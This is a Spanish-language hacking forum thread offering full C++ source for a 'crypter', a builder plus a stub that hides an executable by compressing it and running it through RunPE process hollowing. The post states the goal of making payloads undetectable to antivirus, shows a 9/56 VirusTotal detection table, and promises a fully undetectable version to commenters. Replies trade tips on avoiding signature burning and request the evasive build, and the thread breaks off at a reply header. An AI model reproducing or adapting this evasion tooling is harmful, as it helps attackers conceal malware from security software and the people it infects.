Crypter [RunPE][Función compresor][9/56 Antivirus]

  • 14 Respuestas
  • 9229 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
  • Skype: nico.buzzi
    • Ver Perfil
    • Email

Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 07, 2015, 06:00:45 pm


Hola, aquí de nuevo trayendo un crypter que habia desarrollado hace un largo tiempo pero que modifique para que los antivirus no lo detectaran, lo que hace este crypter a diferencia del resto
no es usar un método de cifrado si no más bien comprimir el buffer, es decir con APIS nativas reduce el tamaño del archivo a cryptar y de esa forma también dejara indetectable el archivo.
Tiene la función de cambiar el icono si lo desean.
Si el crypter les parece bien, estare subiendo su version FUD para quienes comenten el el post.








Citar
Codigo compresor

Código: C++
  1. #include <windows.h>
  2. #include <shlwapi.h>
  3. #include <stdio.h>
  4. #include <mmsystem.h>
  5.  
  6.    /*BULL GOLDEN - Simple Crypter privado*/
  7. #define COMPRESSION_FORMAT_LZNT1 (0x0002)
  8. #define COMPRESSION_ENGINE_STANDARD (0x0000)
  9. #define COMPRESSION_ENGINE_MAXIMUM (0x0100)
  10.  
  11. DWORD i = 0;
  12.  
  13. typedef struct _ICONDIRENTRY {
  14.   BYTE bWidth;
  15.   BYTE bHeight;
  16.   BYTE bColorCount;
  17.   BYTE bReserved;
  18.   WORD wPlanes;
  19.   WORD wBitCount;
  20.   DWORD dwBytesInRes;
  21.   DWORD dwImageOffset;
  22. } ICONDIRENTRY,
  23.  * LPICONDIRENTRY;
  24.  
  25. typedef struct _ICONDIR {
  26.   WORD idReserved;
  27.   WORD idType;
  28.   WORD idCount;
  29.   ICONDIRENTRY idEntries[1];
  30. } ICONDIR,
  31.  * LPICONDIR;
  32.  
  33. #pragma pack(2)
  34. typedef struct _GRPICONDIRENTRY {
  35.   BYTE bWidth;
  36.   BYTE bHeight;
  37.   BYTE bColorCount;
  38.   BYTE bReserved;
  39.   WORD wPlanes;
  40.   WORD wBitCount;
  41.   DWORD dwBytesInRes;
  42.   WORD nID;
  43. } GRPICONDIRENTRY,
  44.  * LPGRPICONDIRENTRY;
  45.  
  46. #pragma pack(2)
  47. typedef struct _GRPICONDIR {
  48.   WORD idReserved;
  49.   WORD idType;
  50.   WORD idCount;
  51.   GRPICONDIRENTRY idEntries[1];
  52. } GRPICONDIR,
  53.  * LPGRPICONDIR;
  54.  
  55. typedef ULONG NTSTATUS;
  56.  
  57. typedef DWORD ( __stdcall *_RtlCompressBuffer)(IN ULONG CompressionFormat, IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
  58.    OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
  59.    IN ULONG Unknown, OUT PULONG pDestinationSize, IN PVOID WorkspaceBuffer );
  60.  
  61. typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize )(IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
  62.     OUT PULONG pUnknown );
  63.  
  64. typedef DWORD ( __stdcall *_RtlDecompressBuffer )( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
  65.    IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
  66.    OUT PULONG pDestinationSize );
  67.  
  68. LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut);
  69. LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
  70. LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize );
  71. BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize );
  72. DWORD WINAPI vGetFileSize ( IN LPSTR nFileName);
  73. BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName);
  74. LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName );
  75.  
  76. LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut) {
  77.  
  78.    _RtlCompressBuffer RtlCompressBuffer;
  79.    _RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;
  80.  
  81.    DWORD dwRet;
  82.    DWORD dwSize;
  83.    LPVOID WSB;
  84.  
  85.    DWORD dstSize = 16 * szBuffer;
  86.  
  87.    LPSTR szRet = ( LPSTR ) malloc ( dstSize );
  88.  
  89.    RtlCompressBuffer = ( _RtlCompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlCompressBuffer" );
  90.    RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlGetCompressionWorkSpaceSize" );
  91.  
  92.    RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet);
  93.  
  94.    WSB = ( LPVOID ) malloc ( dwSize );
  95.  
  96.    RtlCompressBuffer ( COMPRESSION_FORMAT_LZNT1, lpBuffer, szBuffer, szRet, dstSize, 0, dwSizeOut, WSB);
  97.  
  98.    free( WSB );
  99.    return szRet;
  100. }
  101.  
  102. LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut ) {
  103.  
  104.    _RtlDecompressBuffer RtlDecompressBuffer;
  105.    _RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;
  106.  
  107.    DWORD dwRet;
  108.    DWORD dwSize;
  109.  
  110.    DWORD dstSize = 16 * szBuffer;
  111.  
  112.    LPSTR szRet = (LPSTR) malloc ( dstSize );
  113.  
  114.    RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlDecompressBuffer" );
  115.    RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlGetCompressionWorkSpaceSize" );
  116.  
  117.    RtlGetCompressionWorkSpaceSize( COMPRESSION_FORMAT_LZNT1,&dwSize,&dwRet);
  118.    RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,dstSize,lpBuffer,szBuffer,dwSizeOut);
  119.  
  120.    return szRet;
  121. }
  122.  
  123. LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize ) {
  124.  
  125.    DWORD BytesRead;
  126.  
  127.    HANDLE File = CreateFileA ( lpszFileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
  128.    if ( File == INVALID_HANDLE_VALUE || File == NULL ) return (LPSTR)"ERROR";
  129.  
  130.    DWORD FileSize = GetFileSize ( File, 0 );
  131.    LPSTR Buffer = ( LPSTR ) GlobalAlloc ( GPTR, FileSize );
  132.  
  133.    ReadFile ( File, Buffer, FileSize, &BytesRead, 0 );
  134.    CloseHandle ( File );
  135.  
  136.    *dwSize = FileSize;
  137.  
  138.    return Buffer;
  139. }
  140.  
  141. BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize ) {
  142.  
  143.    DWORD BytesRead;
  144.  
  145.    HANDLE File = CreateFileA ( lpszFileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
  146.    if ( File == INVALID_HANDLE_VALUE || File == NULL ) return FALSE;
  147.  
  148.    WriteFile ( File, lpBuffer, dwSize, &BytesRead, 0 );
  149.    CloseHandle ( File );
  150.  
  151.    return TRUE;
  152. }
  153.  
  154. DWORD WINAPI vGetFileSize ( IN LPSTR nFileName ) {
  155.  
  156.    HANDLE hGFS = CreateFileA ( nFileName, GENERIC_READ + GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 );
  157.    DWORD szFile = GetFileSize ( hGFS, 0 );
  158.    
  159.    CloseHandle( hGFS );
  160.  
  161.    return szFile;
  162. }
  163.  
  164. BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName) {
  165.  
  166.    HANDLE hFile = CreateFile(szIFileName, GENERIC_READ,FILE_SHARE_WRITE+FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  167.    if(hFile == INVALID_HANDLE_VALUE) {
  168.       return FALSE;
  169.    }
  170.  
  171.    LPICONDIR lpid;
  172.    lpid = ( LPICONDIR ) malloc( sizeof( ICONDIR ) );
  173.  
  174.    if(lpid == NULL) {
  175.       return FALSE;
  176.    }
  177.  
  178.    DWORD dwBytesRead;
  179.    ReadFile(hFile, &lpid->idReserved, sizeof(WORD), &dwBytesRead, NULL);
  180.    ReadFile(hFile, &lpid->idType, sizeof(WORD), &dwBytesRead, NULL);
  181.    ReadFile(hFile, &lpid->idCount, sizeof(WORD), &dwBytesRead, NULL);
  182.    lpid = (LPICONDIR) realloc(lpid, (sizeof(WORD) * 3) + (sizeof(ICONDIRENTRY) * lpid->idCount));
  183.  
  184.    if(lpid == NULL) {
  185.       return FALSE;
  186.    }
  187.  
  188.    ReadFile(hFile, &lpid->idEntries[0], sizeof(ICONDIRENTRY) * lpid->idCount, &dwBytesRead, NULL);
  189.    LPGRPICONDIR lpgid;
  190.    lpgid = (LPGRPICONDIR)malloc(sizeof(GRPICONDIR));
  191.  
  192.    if(lpgid == NULL) {
  193.       return FALSE;
  194.    }
  195.  
  196.    lpgid->idReserved = lpid->idReserved;
  197.    lpgid->idType = lpid->idType;
  198.    lpgid->idCount = lpid->idCount;
  199.    lpgid = (LPGRPICONDIR)realloc(lpgid, (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount));
  200.  
  201.    if(lpgid == NULL) {
  202.       return FALSE;
  203.    }
  204.  
  205.    for(i = 0; i < lpgid->idCount; i++) {
  206.       lpgid->idEntries[i].bWidth = lpid->idEntries[i].bWidth;
  207.       lpgid->idEntries[i].bHeight = lpid->idEntries[i].bHeight;
  208.       lpgid->idEntries[i].bColorCount = lpid->idEntries[i].bColorCount;
  209.       lpgid->idEntries[i].bReserved = lpid->idEntries[i].bReserved;
  210.       lpgid->idEntries[i].wPlanes = lpid->idEntries[i].wPlanes;
  211.       lpgid->idEntries[i].wBitCount = lpid->idEntries[i].wBitCount;
  212.       lpgid->idEntries[i].dwBytesInRes = lpid->idEntries[i].dwBytesInRes;
  213.       lpgid->idEntries[i].nID = i + 1;
  214.    }
  215.  
  216.    HANDLE hUpdate;
  217.    hUpdate = BeginUpdateResource(szEFileName, TRUE);
  218.  
  219.    if(hUpdate == NULL) {
  220.       CloseHandle(hFile);
  221.       return FALSE;
  222.    }
  223.  
  224.    for(i = 0; i < lpid->idCount; i++) {
  225.  
  226.       LPBYTE lpBuffer = (LPBYTE) malloc(lpid->idEntries[i].dwBytesInRes);
  227.  
  228.       if(lpBuffer == NULL) {
  229.          CloseHandle(hFile);
  230.          return FALSE;
  231.       }
  232.  
  233.       SetFilePointer(hFile, lpid->idEntries[i].dwImageOffset, NULL, FILE_BEGIN);
  234.       ReadFile(hFile, lpBuffer, lpid->idEntries[i].dwBytesInRes, &dwBytesRead, NULL);
  235.  
  236.       if(UpdateResource(hUpdate, RT_ICON, MAKEINTRESOURCE(lpgid->idEntries[i].nID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpBuffer[0], lpid->idEntries[i].dwBytesInRes) == FALSE) {
  237.  
  238.          CloseHandle(hFile);
  239.          free(lpBuffer);
  240.          return FALSE;
  241.       }
  242.  
  243.       free(lpBuffer);
  244.    }
  245.  
  246.    CloseHandle(hFile);
  247.  
  248.    if (UpdateResource(hUpdate, RT_GROUP_ICON, MAKEINTRESOURCE(1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpgid[0], (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount)) == FALSE) {
  249.       return FALSE;
  250.    }
  251.  
  252.    if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
  253.       return FALSE;
  254.    }
  255.  
  256.    return TRUE;
  257. }
  258.  
  259. LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName ) {
  260.      
  261.     char *extension = (char*) malloc ( 4 );
  262.     extension = lpszFileName + lstrlenA ( lpszFileName ) - 4;  
  263.      
  264.    return extension;
  265. }
  266.  
  267. int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  268.    LPSTR lpszArgument, int nCmdFunstil ) {
  269.  
  270.    CONSOLE_SCREEN_BUFFER_INFO csbi;
  271.    COORD coord_size = { 50, 30 };
  272.    COORD coord = { 0, 0 };
  273.    SMALL_RECT rect = { 0, 0, coord_size.X-1, coord_size.Y-1 };
  274.  
  275.    if ( PathFileExistsA ( "ambice.mp3" ) ) mciSendStringA ( "play ambice.mp3 repeat", 0, 0, 0  );
  276.  
  277.    DWORD FileSize, dwBytes, BufferCompress, StubSize;
  278.    LPSTR FileBuffer;
  279.    HANDLE File;
  280.  
  281.    HANDLE Console = GetStdHandle ( STD_OUTPUT_HANDLE );
  282.    GetConsoleScreenBufferInfo ( Console, &csbi );
  283.  
  284.    SetConsoleTitle ( "Bull Golden - Crypter - BETA 1" );
  285.    SetConsoleTextAttribute ( Console, ( 0xFC ) );
  286.    SetConsoleWindowInfo ( Console, true, &rect );
  287.    SetConsoleScreenBufferSize ( Console, coord_size );
  288.    
  289.    char *title = (char*)"*****Bull Guard Golden Crypter beta 1*****\n\n";
  290.  
  291.    coord.X = (csbi.dwSize.X/2)-lstrlenA(title)-12, coord.Y = 2;
  292.  
  293.    if ( !PathFileExistsA ( "BULL.DLL" ) ) FatalAppExitA ( 0, "No se ah encontrado el archivo BULL.DLL" );
  294.    
  295.    SetConsoleCursorPosition ( Console, coord );
  296.  
  297.    for ( int i = 0; title [ i ] != 0x00; title [ i ++ ] ) {
  298.       putchar ( title [ i ] );
  299.       Sleep ( 20 );
  300.    }
  301.  
  302.    char *firma = (char*)"*bull*";
  303.    size_t length_firma = (size_t) lstrlenA(firma);
  304.  
  305.    char path [ MAX_PATH + 1 ];
  306.    fflush ( stdin );
  307.  
  308.    printf ( "\n\n°°Ingrese la ruta del archivo a cryptar:>" );
  309.    //fgets ( path, MAX_PATH, stdin );
  310.    scanf ( "%s", &path );
  311.    
  312.    printf ( "\n[Al presionar una tecla se cifrara el archivo %s]", path );
  313.    system ( "PAUSE>NUL" );
  314.  
  315.    if ( PathFileExistsA ( path ) ) {
  316.  
  317.       LPSTR Buffer = ( LPSTR ) GlobalAlloc ( (0x0000|0x0040), vGetFileSize ( path ) );
  318.       Buffer = GetFileBuffer ( path, &FileSize );
  319.  
  320.       LPSTR CompressBufferThis = CompressBuffer ( Buffer, FileSize, &BufferCompress );
  321.       //CreateFileName ( nuevo, CompressBufferThis, BufferCompress );
  322.  
  323.       LPSTR StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), vGetFileSize ( (LPSTR)"BULL.DLL" ) );
  324.       StubSize = vGetFileSize ( (LPSTR)"BULL.DLL" );
  325.  
  326.       StubBuffer = GetFileBuffer ( (LPSTR)"BULL.DLL", &StubSize );
  327.      
  328.       LPSTR NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), BufferCompress + StubSize + length_firma + 255 );
  329.       CopyMemory ( &NewBuffer [ 0 ], &StubBuffer [ 0 ], StubSize );
  330.       CopyMemory ( &NewBuffer [ StubSize ], &firma [ 0 ], length_firma );
  331.       CopyMemory ( &NewBuffer [ StubSize + length_firma ], &CompressBufferThis [ 0 ], BufferCompress );
  332.      
  333.       CreateFileName ( ( LPSTR ) "BullGeneric.exe", NewBuffer, (StubSize + length_firma + BufferCompress) );
  334.  
  335.       GlobalFree ( FileBuffer );
  336.       GlobalFree ( NewBuffer );
  337.       GlobalFree ( StubBuffer );
  338.  
  339.       printf ( "\n\n\nSe ah generado el archivo cryptado con exito [%d] bytes totales", BufferCompress );
  340.  
  341.       DWORD reserved;
  342.       char letter [ 2 ];
  343.       char icon [ MAX_PATH + 1 ];
  344.  
  345.       system ( "cls" );
  346.       printf ( "Desea cambiar el icono ? s/n :>" );
  347.  
  348.       scanf ( "%s", &letter );
  349.    
  350.       if ( letter [ 0 ] == 's' || letter [ 0 ] == 'S' ) {
  351.          printf ( "\n\nIngrese el directorio del icono:>" );
  352.          scanf ( "%s", &icon );
  353.  
  354.          if ( PathFileExistsA ( icon ) ) {
  355.             AddIcon ( icon, (LPSTR)"BullGeneric.exe" );
  356.             printf ( "\n\t\t\t[Exito al cambiar el icono]\n" );
  357.          } else {
  358.             printf ( "\n\t\t\t[Ah ocurrido un error al cambiar el icono]" );
  359.          }
  360.       }
  361.  
  362.       printf ( "\n\n\n[Presione escape para salir]\n" );
  363.       while ( !GetAsyncKeyState ( 27 ) );
  364.  
  365.    } else FatalAppExitA ( 0, "No se ah encontrado el archivo especificado" );
  366.  
  367.    return 0;
  368. }
  369.  
  370.  

Citar
Codigo del stub

Código: C++
  1. #include <windows.h>
  2.  
  3.    /*BULL GOLDEN - Simple Crypter privado*/
  4.  
  5. /*#define COMPRESSION_FORMAT_LZNT1 ( 0x0002 )
  6. #define COMPRESSION_ENGINE_STANDARD ( 0x0000 )
  7. #define COMPRESSION_ENGINE_MAXIMUM ( 0x0100 )*/
  8.  
  9. #define LIB ( LPSTR )  "ntdll.dll"
  10. #define API ( LPSTR ) "NtUnmapViewOfSection"
  11.  
  12. typedef ULONG NTSTATUS;
  13.  
  14. typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize ) ( IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
  15.     OUT PULONG pUnknown );
  16.  
  17. typedef DWORD ( __stdcall *_RtlDecompressBuffer ) ( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
  18.    IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
  19.    OUT PULONG pDestinationSize );
  20.    
  21. typedef LONG ( __stdcall *NtApi ) ( HANDLE ProcessHandle, PVOID BaseAddress );
  22.  
  23. typedef BOOL ( __stdcall *Conte ) ( IN HANDLE hThread, IN const CONTEXT *lpConte );
  24. typedef DWORD ( __stdcall *Resum ) ( IN HANDLE hThread );
  25. typedef BOOL ( __stdcall *Wri ) ( IN HANDLE hProcess, IN LPVOID lpBaseAdress, IN LPCVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesWritten );
  26. typedef BOOL ( __stdcall *Rea ) ( IN HANDLE hProcess, IN LPCVOID lpBaseAddress, OUT LPVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesRead );
  27.  
  28. LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
  29. void ExecFile ( LPSTR szFilePath, LPVOID pFile );
  30.  
  31. void ExecFile ( LPSTR szFilePath, LPVOID pFile )
  32. {
  33.  
  34.    PIMAGE_DOS_HEADER IDH;
  35.    PIMAGE_NT_HEADERS INH;
  36.    PIMAGE_SECTION_HEADER ISH;
  37.    PROCESS_INFORMATION PI;
  38.    STARTUPINFOA SI;
  39.    PCONTEXT CTX;
  40.    PDWORD dwImageBase;
  41.    NtApi xNt;
  42.    LPVOID pImageBase;
  43.    int Count;
  44.  
  45.    Conte Contee = ( Conte ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "SetThreadContext" );
  46.    Wri Writ = ( Wri ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "WriteProcessMemory" );
  47.    Rea Reaa = ( Rea ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ReadProcessMemory" );
  48.    Resum Resu = ( Resum ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ResumeThread" );
  49.  
  50.    IDH = PIMAGE_DOS_HEADER ( pFile );
  51.  
  52.    if ( IDH -> e_magic == IMAGE_DOS_SIGNATURE )
  53.    {
  54.  
  55.       INH = PIMAGE_NT_HEADERS ( DWORD ( pFile ) + IDH->e_lfanew );
  56.  
  57.       if ( INH -> Signature == IMAGE_NT_SIGNATURE )
  58.       {
  59.          RtlZeroMemory ( &SI, sizeof ( SI ) );
  60.          RtlZeroMemory ( &PI, sizeof ( PI ) );
  61.  
  62.          if ( CreateProcessA ( szFilePath, 0L, 0L, 0L, FALSE, CREATE_SUSPENDED, 0L, 0L, &SI, &PI ) )
  63.          {
  64.  
  65.             CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
  66.             CTX -> ContextFlags = CONTEXT_FULL;
  67.  
  68.             if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) )
  69.             {
  70.  
  71.                ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8 ), LPVOID ( &dwImageBase ), 4, 0L );
  72.  
  73.                if ( DWORD( dwImageBase ) == INH->OptionalHeader.ImageBase )
  74.                {
  75.  
  76.                   xNt = NtApi ( GetProcAddress ( GetModuleHandleA ( LIB ), API ) );
  77.                   xNt ( PI.hProcess, PVOID ( dwImageBase ) );
  78.                }
  79.  
  80.                pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
  81.      
  82.                if ( pImageBase )
  83.                {
  84.  
  85.                   Writ ( PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, 0L );
  86.  
  87.                   for ( Count = 0; Count < INH->FileHeader.NumberOfSections; Count++ )
  88.                   {
  89.    
  90.                      ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
  91.                      Writ (PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID ( DWORD ( pFile ) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
  92.                   }
  93.  
  94.                   Writ ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INH->OptionalHeader.ImageBase ), 4, 0L );
  95.                   CTX->Eax = DWORD ( pImageBase ) + INH->OptionalHeader.AddressOfEntryPoint;
  96.                   Contee ( PI.hThread, LPCONTEXT ( CTX ) );
  97.                   Resu ( PI.hThread);
  98.  
  99.                }
  100.             }
  101.          }
  102.       }
  103.  
  104.    }
  105.  
  106.    GlobalFree ( pFile );
  107. }
  108.  
  109. LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut )
  110. {
  111.  
  112.    _RtlDecompressBuffer RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( LIB ), "RtlDecompressBuffer" );
  113.    _RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA ( LIB ), "RtlGetCompressionWorkSpaceSize" );
  114.  
  115.    DWORD dwRet;
  116.    DWORD dwSize;
  117.  
  118.    DWORD dstSize = 16 * szBuffer;
  119.    LPSTR szRet = (LPSTR) malloc ( dstSize );
  120.  
  121.    RtlGetCompressionWorkSpaceSize ( COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet );
  122.    RtlDecompressBuffer ( COMPRESSION_FORMAT_LZNT1, szRet, dstSize, lpBuffer, szBuffer, dwSizeOut );
  123.  
  124.    return szRet;
  125. }
  126.  
  127. int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  128.    LPSTR lpszArgument, int nCmdFunstil )
  129. {
  130.  
  131.    STARTUPINFO stinfo;
  132.    PROCESS_INFORMATION processinformation;
  133.    HANDLE File;
  134.    DWORD dwBytes, StubSize, bytes;
  135.    LPSTR StubBuffer, Directory, AppName;
  136.  
  137.    ZeroMemory ( &stinfo, sizeof ( STARTUPINFO ) );
  138.    stinfo.cb = sizeof ( STARTUPINFO );
  139.  
  140.    size_t length_firma = ( size_t ) 6;
  141.  
  142.    AppName = ( LPSTR ) VirtualAlloc ( 0L, ( MAX_PATH + 1 ), ( MEM_COMMIT | MEM_RESERVE ), PAGE_READWRITE );
  143.    GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
  144.  
  145.    File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
  146.  
  147.    if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) )
  148.    {
  149.       CloseHandle ( File );
  150.       VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );
  151.       return -1;
  152.    }
  153.  
  154.    StubSize = GetFileSize ( File, 0 );
  155.    
  156.    StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( StubSize + 1 ) );
  157.    ReadFile ( File, StubBuffer, StubSize, &dwBytes, 0 );
  158.    CloseHandle ( File );
  159.  
  160.    for ( bytes = 0; bytes <= StubSize; bytes ++ )
  161.    {
  162.       if ( StubBuffer [ bytes ] == '*' && StubBuffer [ bytes + 1 ] == 'b' && StubBuffer [ bytes + 2 ] == 'u' && StubBuffer [ bytes + 3 ] == 'l' &&
  163.              StubBuffer [ bytes + 4 ] == 'l' && StubBuffer [ bytes + 5 ] == '*' ) {
  164.                                    
  165.          StubBuffer += ( bytes + 6 );
  166.          StubSize -= ( bytes + 6 );
  167.       }
  168.    }
  169.  
  170.    DWORD OutDecompressSize;
  171.    StubBuffer = DecompressBuffer ( StubBuffer, StubSize, &OutDecompressSize );
  172.  
  173.    ExecFile ( LPSTR ( AppName ), StubBuffer );
  174.  
  175.    GlobalFree ( StubBuffer );
  176.    VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );
  177.  
  178.    return EXIT_SUCCESS;
  179. }
  180.  
  181.  

ANALISIS 9/56
You are not allowed to view links. Register or Login

Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Gen:[email protected]
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Trojan.Heur.RP.ED92C7
Avast      20150805    Clean
Avira      20150805    TR/Crypt.XPACK.Gen
Baidu-International      20150805    Clean
BitDefender      20150805    Gen:[email protected]
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Gen:[email protected]
F-Prot      20150805    Clean
F-Secure      20150805    Gen:[email protected]
Fortinet      20150804    Clean
GData      20150805    Gen:[email protected]
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Gen:[email protected]
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean


Link de descarga:
You are not allowed to view links. Register or Login

PASS : xxneeco83xx
El arte de crear malware, es algo que solo pocos entienden!


Desconectado dcko

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
  • Skype: hotdog
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 07, 2015, 08:08:28 pm
Virus Total Te quema las firmas, es la primera regla de hacer crypters no subir las cosas a virus total xd

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
  • Skype: nico.buzzi
    • Ver Perfil
    • Email

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 07, 2015, 09:14:16 pm
You are not allowed to view links. Register or Login
Virus Total Te quema las firmas, es la primera regla de hacer crypters no subir las cosas a virus total xd

lo hice a proposito, la finalidad de este crypter como bien puse en el post para quienes lo quieran FUD que lo pidan.
No me interesa subir crypters libres para quienes solo andan en el foro para eso, sin siquiera leer. xD
El arte de crear malware, es algo que solo pocos entienden!


Desconectado br34ker

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 07, 2015, 11:09:54 pm
Hola bro, nice job. Esta bien lo que decis, esa tecnica la usan en otros foros como el del camaleon o 23, para no decir sus nombres explicitos jajaj. Pasarias el fud por mp? Saludos

Desconectado OnTheCore

  • *
  • Underc0der
  • Mensajes: 58
